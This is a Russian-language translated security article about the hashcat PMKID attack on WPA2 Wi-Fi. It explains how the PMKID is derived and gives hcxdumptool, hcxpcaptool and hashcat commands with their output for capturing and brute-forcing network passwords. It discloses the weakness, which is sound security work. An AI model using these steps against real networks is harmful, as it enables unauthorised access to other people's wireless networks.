[Перевод] Новая техника атаки WPA2, не требующая наличия клиента на AP

image

 
Участниками проекта hashcat обнаружен новый вектор атаки на беспроводной стандарт WPA2, не требующий классического перехвата «рукопожатия» доступа клиент-точка. Данная уязвимость выявлена в рамках исследования потенциальных проблем безопасности нового протокола WPA3.

Основное отличие от существующих атак заключается в том, что в этой атаке захват полного 4-стороннего рукопожатия EAPOL не требуется. Новая атака выполняется в RSN IE (Robust Security Network Information Element), и для ее успешного воспроизведения достаточно одного кадра EAPOL.

В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.

Основные особенности новой атаки:


  • нет необходимости ждать клиентов — атакуется напрямую AP;
  • нет необходимости ждать полного 4-стороннего «рукопожатия» между клиентом и AP;
  • отсутствие ретрансмиссии кадров EAPOL;
  • исключает вероятность захвата неверных паролей от клиента;
  • исключены потери кадров EAPOL при отдалении/потери связи с клиентом;
  • высокая скорость, обусловленная отсутствием необходимости фиксировать значения nonce и replaycounter;
  • нет необходимости в специализированном формате выходных данных (pcap, hccapx и т. д.) — захваченные данные хранятся в виде hex-строки.

Детали атаки

RSN IE — это необязательное поле, которое можно найти в рамках управления 802.11. Одной из возможностей RSN является PMKID.


image

PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки «PMK Name», MAC-адрес точки доступа и MAC-адрес станции.

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Мы получаем все необходимые данные в первом кадре EAPOL из AP.

Для атаки потребуются следующие инструменты (актуальные версии):

Запускаем hcxdumptool для «снятия» PMKID:

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Об успешном завершении атаки (средняя продолжительность 10 минут) уведомит надпись FOUND PMKID:

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e  [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

После чего необходимо сконвертировать полученные данные:

$ ./hcxpcaptool -z test.16800 test.pcapng
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

которые после конвертации примут следующий вид:

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

представляющие из себя hex-значения следующих типов данных:

PMKID*MAC AP*MAC Station*ESSID

Далее остается «скормить» полученные результаты утилите hashcat (да, без брута пока никуда) и ждать результат:

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'


Данная техника значительно упрощает и ускоряет атаку на большинство беспроводных устройств благодаря меньшему количеству факторов влияния.

P.S.: эта уязвимость в большей степени затрагивает домашние/SOHO-устройства, в корпоративном сегменте, как правило, используется более надежный MGT WPA2 Enterprise с RADIUS-ключами.

Центр информационной безопасности, «Инфосистемы Джет»

© Habrahabr.ru